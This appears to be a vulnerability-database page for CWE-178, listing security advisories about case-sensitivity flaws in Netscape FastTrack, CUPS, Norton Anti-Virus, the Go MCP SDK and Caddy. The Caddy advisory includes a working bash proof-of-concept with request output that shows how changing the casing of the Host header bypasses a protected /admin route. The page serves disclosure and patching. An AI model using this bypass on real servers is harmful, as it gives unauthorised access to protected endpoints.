CWE-178
AllowedImproper Handling of Case Sensitivity
Abstraction: Base · Status: Incomplete
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
136 vulnerabilities reference this CWE, most recent first.
GHSA-VCJQ-7HCJ-XH74
Vulnerability from github – Published: 2022-04-30 18:10 – Updated: 2024-02-02 03:30Netscape FastTrack Web server lists files when a lowercase "get" command is used instead of an uppercase GET.
{
"affected": [],
"aliases": [
"CVE-1999-0239"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "1998-01-01T05:00:00Z",
"severity": "MODERATE"
},
"details": "Netscape FastTrack Web server lists files when a lowercase \"get\" command is used instead of an uppercase GET.",
"id": "GHSA-vcjq-7hcj-xh74",
"modified": "2024-02-02T03:30:26Z",
"published": "2022-04-30T18:10:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-1999-0239"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/1731"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/122"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VP74-83H5-6967
Vulnerability from github – Published: 2022-04-29 03:00 – Updated: 2024-02-15 21:31CUPS before 1.1.21rc1 treats a Location directive in cupsd.conf as case sensitive, which allows attackers to bypass intended ACLs via a printer name containing uppercase or lowercase letters that are different from what is specified in the directive.
{
"affected": [],
"aliases": [
"CVE-2004-2154"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2004-12-31T05:00:00Z",
"severity": "HIGH"
},
"details": "CUPS before 1.1.21rc1 treats a Location directive in cupsd.conf as case sensitive, which allows attackers to bypass intended ACLs via a printer name containing uppercase or lowercase letters that are different from what is specified in the directive.",
"id": "GHSA-vp74-83h5-6967",
"modified": "2024-02-15T21:31:23Z",
"published": "2022-04-29T03:00:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2004-2154"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=162405"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=163274"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9940"
},
{
"type": "WEB",
"url": "http://www.cups.org/str.php?L700"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2005_18_sr.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2005-571.html"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/usn-185-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VV2M-P3GP-W7P3
Vulnerability from github – Published: 2022-04-30 18:19 – Updated: 2024-02-02 03:30Norton Anti-Virus (NAV) allows remote attackers to bypass content filtering via attachments whose Content-Type and Content-Disposition headers are mixed upper and lower case, which is ignored by some mail clients.
{
"affected": [],
"aliases": [
"CVE-2002-0485"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2002-08-12T04:00:00Z",
"severity": "MODERATE"
},
"details": "Norton Anti-Virus (NAV) allows remote attackers to bypass content filtering via attachments whose Content-Type and Content-Disposition headers are mixed upper and lower case, which is ignored by some mail clients.",
"id": "GHSA-vv2m-p3gp-w7p3",
"modified": "2024-02-02T03:30:30Z",
"published": "2022-04-30T18:19:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2002-0485"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=101684260510079\u0026w=2"
},
{
"type": "WEB",
"url": "http://marc.info/?l=vuln-dev\u0026m=101681724810317\u0026w=2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WVJ2-96WP-FQ3F
Vulnerability from github – Published: 2026-02-26 22:20 – Updated: 2026-02-26 22:20The Go MCP SDK used Go's standard encoding/json.Unmarshal for JSON-RPC and MCP protocol message parsing. Go's standard library performs case-insensitive matching of JSON keys to struct field tags — a field tagged json:"method" would also match "Method", "METHOD", etc. Additionally, Go's standard library folds the Unicode characters ſ (U+017F) and K (U+212A) to their ASCII equivalents s and k, meaning fields like "paramſ" would match "params". This violated the JSON-RPC 2.0 specification, which defines exact field names.
Impact:
A malicious MCP peer may have been able to send protocol messages with non-standard field casing (e.g., "Method" instead of "method") that the SDK would silently accept. This had the potential for: - Bypassing intermediary inspection: Proxies or policy layers that matched on exact field names may have failed to detect or filter these messages. - Cross-implementation inconsistency: Other MCP SDKs (TypeScript, Python) use case-sensitive parsing and would reject the same messages, creating potential security-boundary confusion.
Fix:
Go's standard JSON unmarshaling was replaced with a case-sensitive decoder (github.com/segmentio/encoding) in commit 7b8d81c. Users are advised to update to v1.3.1 to resolve this issue.
Credits:
MCP Go SDK thanks Francesco Lacerenza (Doyensec) for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/modelcontextprotocol/go-sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27896"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:20:08Z",
"nvd_published_at": "2026-02-26T01:16:25Z",
"severity": "HIGH"
},
"details": "The Go MCP SDK used Go\u0027s standard encoding/json.Unmarshal for JSON-RPC and MCP protocol message parsing. Go\u0027s standard library performs case-insensitive matching of JSON keys to struct field tags \u2014 a field tagged json:\"method\" would also match \"Method\", \"METHOD\", etc. Additionally, Go\u0027s standard library folds the Unicode characters \u017f (U+017F) and K (U+212A) to their ASCII equivalents s and k, meaning fields like \"param\u017f\" would match \"params\". This violated the JSON-RPC 2.0 specification, which defines exact field names.\n\n#### Impact:\n\nA malicious MCP peer may have been able to send protocol messages with non-standard field casing (e.g., \"Method\" instead of \"method\") that the SDK would silently accept. This had the potential for:\n - **Bypassing intermediary inspection:** Proxies or policy layers that matched on exact field names may have failed to detect or filter these messages.\n - **Cross-implementation inconsistency:** Other MCP SDKs (TypeScript, Python) use case-sensitive parsing and would reject the same messages, creating potential security-boundary confusion.\n\n#### Fix:\n\nGo\u0027s standard JSON unmarshaling was replaced with a case-sensitive decoder (github.com/segmentio/encoding) in commit 7b8d81c. Users are advised to update to v1.3.1 to resolve this issue.\n\n#### Credits:\nMCP Go SDK thanks Francesco Lacerenza (Doyensec) for reporting this issue.",
"id": "GHSA-wvj2-96wp-fq3f",
"modified": "2026-02-26T22:20:08Z",
"published": "2026-02-26T22:20:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/go-sdk/security/advisories/GHSA-wvj2-96wp-fq3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27896"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/go-sdk/commit/7b8d81c264074404abdf5aa16e2cf0c2d9c64cc0"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/go-sdk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP Go SDK Vulnerable to Improper Handling of Case Sensitivity"
}
GHSA-X76F-JF84-RQJ8
Vulnerability from github – Published: 2026-02-24 20:34 – Updated: 2026-02-27 19:53Summary
Caddy's HTTP host request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the Host header.
Details
In Caddy v2.10.2, the MatchHost matcher states it matches the Host value case-insensitively:
modules/caddyhttp/matchers.go:type MatchHost matches requests by the Host value (case-insensitive).
However, in MatchHost.MatchWithError, when the host list is considered "large" (len(m) > 100):
MatchHost.large()returns true forlen(m) > 100(modules/caddyhttp/matchers.go, around thelarge()helper).- The matcher takes a "fast path" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (
m[pos] == reqHost). - After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the
strings.EqualFold(reqHost, host)check from ever running.
Net effect: with a host list length of 101 or more, changing only the casing of the incoming Host header can cause the host matcher to not match when it should.
Suggested fix
- Normalize exact hostnames to lower-case during
MatchHost.Provision(at least for non-fuzzy entries). - Normalize the incoming request host (
reqHost) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.
Reproduced on:
- Stable release: v2.10.2 -- this is the release I reference in the repro below.
- Dev build: v2.11.0-beta.2.
- Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.
PoC
Prereqs:
- bash, curl
- A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDY_BIN in the script if needed)
#!/usr/bin/env bash
set -euo pipefail
CADDY_BIN="/opt/caddy-2.10.2/caddy"
HOST="127.0.0.1"
PORT="8080"
TMPDIR="$(mktemp -d)"
CADDYFILE="${TMPDIR}/Caddyfile"
LOG="${TMPDIR}/caddy.log"
cleanup() {
if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true
fi
rm -rf "${TMPDIR}" 2>/dev/null || true
}
trap cleanup EXIT
if [ ! -x "${CADDY_BIN}" ]; then
echo "error: missing caddy binary at ${CADDY_BIN}" >&2
exit 2
fi
echo "== Caddy version =="
"${CADDY_BIN}" version
cat >"${CADDYFILE}" <<EOF
{
debug
}
:${PORT} {
log
@protected {
host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
path /admin
}
respond @protected "DENY" 403
respond "ALLOW" 200
}
EOF
echo
echo "== Caddyfile =="
cat "${CADDYFILE}"
echo
echo "== Start Caddy (debug + capture logs) =="
echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile"
"${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 &
CADDY_PID="$!"
sleep 2
echo
echo "== Request 1 (baseline - expect deny) =="
echo "cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin"
curl -v -H "Host: h050.test" "http://${HOST}:${PORT}/admin" 2>&1 || true
echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin"
curl -v -H "Host: H050.TEST" "http://${HOST}:${PORT}/admin" 2>&1 || true
echo
echo "== Stop Caddy =="
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true
echo
echo "== Full Caddy debug log =="
cat "${LOG}"
Expected output (Click to expand)
== Caddy version ==
v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=
== Caddyfile ==
{
debug
}
:8080 {
log
@protected {
host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test
path /admin
}
respond @protected "DENY" 403
respond "ALLOW" 200
}
== Start Caddy (debug + capture logs) ==
cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile
== Request 1 (baseline - expect deny) ==
cmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin HTTP/1.1
> Host: h050.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:09:09 GMT
< Content-Length: 4
<
* Connection #0 to host 127.0.0.1 left intact
DENY
== Request 2 (BYPASS - expect allow) ==
cmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin
* Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin HTTP/1.1
> Host: H050.TEST
> User-Agent: curl/8.15.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:09:09 GMT
< Content-Length: 5
<
* Connection #0 to host 127.0.0.1 left intact
ALLOW
== Stop Caddy ==
== Full Caddy debug log ==
{"level":"info","ts":1770588548.012352,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"}
{"level":"info","ts":1770588548.0125406,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807}
{"level":"info","ts":1770588548.0125597,"msg":"using config from file","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile"}
{"level":"info","ts":1770588548.0131946,"msg":"adapted config to JSON","adapter":"caddyfile"}
{"level":"warn","ts":1770588548.013202,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.3BN6rgj9yF/Caddyfile","line":2}
{"level":"info","ts":1770588548.0139973,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_origin":false,"origins":["//127.0.0.1:2019","//localhost:2019","//[::1]:2019"]}
{"level":"debug","ts":1770588548.0140707,"logger":"http.auto_https","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"handler":"subroute","routes":[{"handle":[{"body":"DENY","handler":"static_response","status_code":403}],"match":[{"host":["h001.test","h002.test","h003.test","h004.test","h005.test","h006.test","h007.test","h008.test","h009.test","h010.test","h011.test","h012.test","h013.test","h014.test","h015.test","h016.test","h017.test","h018.test","h019.test","h020.test","h021.test","h022.test","h023.test","h024.test","h025.test","h026.test","h027.test","h028.test","h029.test","h030.test","h031.test","h032.test","h033.test","h034.test","h035.test","h036.test","h037.test","h038.test","h039.test","h040.test","h041.test","h042.test","h043.test","h044.test","h045.test","h046.test","h047.test","h048.test","h049.test","h050.test","h051.test","h052.test","h053.test","h054.test","h055.test","h056.test","h057.test","h058.test","h059.test","h060.test","h061.test","h062.test","h063.test","h064.test","h065.test","h066.test","h067.test","h068.test","h069.test","h070.test","h071.test","h072.test","h073.test","h074.test","h075.test","h076.test","h077.test","h078.test","h079.test","h080.test","h081.test","h082.test","h083.test","h084.test","h085.test","h086.test","h087.test","h088.test","h089.test","h090.test","h091.test","h092.test","h093.test","h094.test","h095.test","h096.test","h097.test","h098.test","h099.test","h100.test","h101.test"],"path":["/admin"]}]},{"handle":[{"body":"ALLOW","handler":"static_response","status_code":200}]}]}],"terminal":true}],"automatic_https":{},"logs":{}}}}}
{"level":"info","ts":1770588548.0143135,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc0000d7c80"}
{"level":"debug","ts":1770588548.0143793,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false}
{"level":"warn","ts":1770588548.014415,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1770588548.0144184,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1770588548.0144203,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"debug","ts":1770588548.014438,"logger":"events","msg":"event","name":"started","id":"1c7f6534-d264-456d-988d-e9f77a099c42","origin":"","data":null}
{"level":"info","ts":1770588548.0145273,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"}
{"level":"info","ts":1770588548.0145316,"msg":"serving initial configuration"}
{"level":"info","ts":1770588548.0274432,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","try_again":1770674948.0274422,"try_again_in":86399.999999709}
{"level":"info","ts":1770588548.0275078,"logger":"tls","msg":"finished cleaning storage units"}
{"level":"info","ts":1770588549.9694445,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"53220","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"h050.test","uri":"/admin","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000014857,"size":4,"status":403,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770588549.9741833,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"53234","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"H050.TEST","uri":"/admin","headers":{"Accept":["*/*"],"User-Agent":["curl/8.15.0"]}},"bytes_read":0,"user_id":"","duration":0.00000551,"size":5,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770588549.9751372,"msg":"shutting down apps, then terminating","signal":"SIGTERM"}
{"level":"warn","ts":1770588549.9751456,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"}
{"level":"debug","ts":1770588549.9751775,"logger":"events","msg":"event","name":"stopping","id":"e02c5e64-9d76-48b6-a967-4f003850bdd4","origin":"","data":null}
{"level":"info","ts":1770588549.9751873,"logger":"http","msg":"servers shutting down with eternal grace period"}
{"level":"info","ts":1770588549.975331,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"}
{"level":"info","ts":1770588549.9753368,"msg":"shutdown complete","signal":"SIGTERM","exit_code":0}
Impact
This is a route/auth bypass in Caddy's request-matching layer. Any internet-exposed Caddy deployment that relies on host matchers with large host lists (>100) to select protected routes (e.g. applying basicauth, forward_auth, respond deny rules, or protecting reverse_proxy backends) can be bypassed by varying the case of the Host header, allowing unauthorized access to sensitive endpoints depending on upstream configuration.
The reproduction is minimal per the reporting guidance; a realistic "full" scenario is Caddy fronting a multi-tenant app and doing forward_auth/basicauth/deny for /admin only when host is in a big (>100) allowlist, but the default handler still reverse_proxying to the same app. Then sending Host: H050.TEST skips the guarded route in Caddy, yet the upstream still treats it as the same tenant host --> /admin is reachable without the intended guard.
AI Use Disclosure
A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM for editing.
Disclosure/crediting
Asim Viladi Oglu Manizada
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27588"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-24T20:34:01Z",
"nvd_published_at": "2026-02-24T17:29:04Z",
"severity": "HIGH"
},
"details": "### Summary\nCaddy\u0027s HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (\u003e100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header.\n\n### Details\nIn Caddy `v2.10.2`, the `MatchHost` matcher states it matches the Host value case-insensitively:\n\n- `modules/caddyhttp/matchers.go`: `type MatchHost matches requests by the Host value (case-insensitive).`\n\nHowever, in `MatchHost.MatchWithError`, when the host list is considered \"large\" (`len(m) \u003e 100`):\n\n- `MatchHost.large()` returns true for `len(m) \u003e 100` (`modules/caddyhttp/matchers.go`, around the `large()` helper).\n- The matcher takes a \"fast path\" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (`m[pos] == reqHost`).\n- After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the `strings.EqualFold(reqHost, host)` check from ever running.\n\nNet effect: with a host list length of 101 or more, changing only the casing of the incoming `Host` header can cause the `host` matcher to not match when it should.\n\n#### Suggested fix\n- Normalize exact hostnames to lower-case during `MatchHost.Provision` (at least for non-fuzzy entries).\n- Normalize the incoming request host (`reqHost`) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.\n\nReproduced on:\n- Stable release: `v2.10.2` -- this is the release I reference in the repro below.\n- Dev build: `v2.11.0-beta.2`.\n- Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`.\n\n### PoC\nPrereqs:\n- bash, curl\n- A pre-built Caddy binary available at `/opt/caddy-2.10.2/caddy` (edit `CADDY_BIN` in the script if needed)\n\n\u003cdetails\u003e\n\u003csummary\u003eScript (Click to expand)\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCADDY_BIN=\"/opt/caddy-2.10.2/caddy\"\nHOST=\"127.0.0.1\"\nPORT=\"8080\"\n\nTMPDIR=\"$(mktemp -d)\"\nCADDYFILE=\"${TMPDIR}/Caddyfile\"\nLOG=\"${TMPDIR}/caddy.log\"\n\ncleanup() {\n if [ -n \"${CADDY_PID:-}\" ] \u0026\u0026 kill -0 \"${CADDY_PID}\" 2\u003e/dev/null; then\n kill \"${CADDY_PID}\" 2\u003e/dev/null || true\n wait \"${CADDY_PID}\" 2\u003e/dev/null || true\n fi\n rm -rf \"${TMPDIR}\" 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\nif [ ! -x \"${CADDY_BIN}\" ]; then\n echo \"error: missing caddy binary at ${CADDY_BIN}\" \u003e\u00262\n exit 2\nfi\n\necho \"== Caddy version ==\"\n\"${CADDY_BIN}\" version\n\ncat \u003e\"${CADDYFILE}\" \u003c\u003cEOF\n{\n debug\n}\n\n:${PORT} {\n log\n @protected {\n host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n path /admin\n }\n respond @protected \"DENY\" 403\n respond \"ALLOW\" 200\n}\nEOF\n\necho\necho \"== Caddyfile ==\"\ncat \"${CADDYFILE}\"\n\necho\necho \"== Start Caddy (debug + capture logs) ==\"\necho \"cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile\"\n\"${CADDY_BIN}\" run --config \"${CADDYFILE}\" --adapter caddyfile \u003e\"${LOG}\" 2\u003e\u00261 \u0026\nCADDY_PID=\"$!\"\n\nsleep 2\n\necho\necho \"== Request 1 (baseline - expect deny) ==\"\necho \"cmd: curl -v -H \u0027Host: h050.test\u0027 http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: h050.test\" \"http://${HOST}:${PORT}/admin\" 2\u003e\u00261 || true\n\necho\necho \"== Request 2 (BYPASS - expect allow) ==\"\necho \"cmd: curl -v -H \u0027Host: H050.TEST\u0027 http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: H050.TEST\" \"http://${HOST}:${PORT}/admin\" 2\u003e\u00261 || true\n\necho\necho \"== Stop Caddy ==\"\nkill \"${CADDY_PID}\" 2\u003e/dev/null || true\nwait \"${CADDY_PID}\" 2\u003e/dev/null || true\n\necho\necho \"== Full Caddy debug log ==\"\ncat \"${LOG}\"\n\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003eExpected output (Click to expand)\u003c/summary\u003e\n\n```bash\n== Caddy version ==\nv2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=\n\n== Caddyfile ==\n{\n debug\n}\n\n:8080 {\n log\n @protected {\n host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n path /admin\n }\n respond @protected \"DENY\" 403\n respond \"ALLOW\" 200\n}\n\n== Start Caddy (debug + capture logs) ==\ncmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile\n\n== Request 1 (baseline - expect deny) ==\ncmd: curl -v -H \u0027Host: h050.test\u0027 http://127.0.0.1:8080/admin\n* Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n\u003e GET /admin HTTP/1.1\n\u003e Host: h050.test\n\u003e User-Agent: curl/8.15.0\n\u003e Accept: */*\n\u003e\n* Request completely sent off\n\u003c HTTP/1.1 403 Forbidden\n\u003c Content-Type: text/plain; charset=utf-8\n\u003c Server: Caddy\n\u003c Date: Sun, 08 Feb 2026 22:09:09 GMT\n\u003c Content-Length: 4\n\u003c\n* Connection #0 to host 127.0.0.1 left intact\nDENY\n== Request 2 (BYPASS - expect allow) ==\ncmd: curl -v -H \u0027Host: H050.TEST\u0027 http://127.0.0.1:8080/admin\n* Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n\u003e GET /admin HTTP/1.1\n\u003e Host: H050.TEST\n\u003e User-Agent: curl/8.15.0\n\u003e Accept: */*\n\u003e\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: text/plain; charset=utf-8\n\u003c Server: Caddy\n\u003c Date: Sun, 08 Feb 2026 22:09:09 GMT\n\u003c Content-Length: 5\n\u003c\n* Connection #0 to host 127.0.0.1 left intact\nALLOW\n== Stop Caddy ==\n\n== Full Caddy debug log ==\n{\"level\":\"info\",\"ts\":1770588548.012352,\"msg\":\"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1770588548.0125406,\"msg\":\"GOMEMLIMIT is updated\",\"package\":\"github.com/KimMachineGun/automemlimit/memlimit\",\"GOMEMLIMIT\":1844136345,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1770588548.0125597,\"msg\":\"using config from file\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\"}\n{\"level\":\"info\",\"ts\":1770588548.0131946,\"msg\":\"adapted config to JSON\",\"adapter\":\"caddyfile\"}\n{\"level\":\"warn\",\"ts\":1770588548.013202,\"msg\":\"Caddyfile input is not formatted; run \u0027caddy fmt --overwrite\u0027 to fix 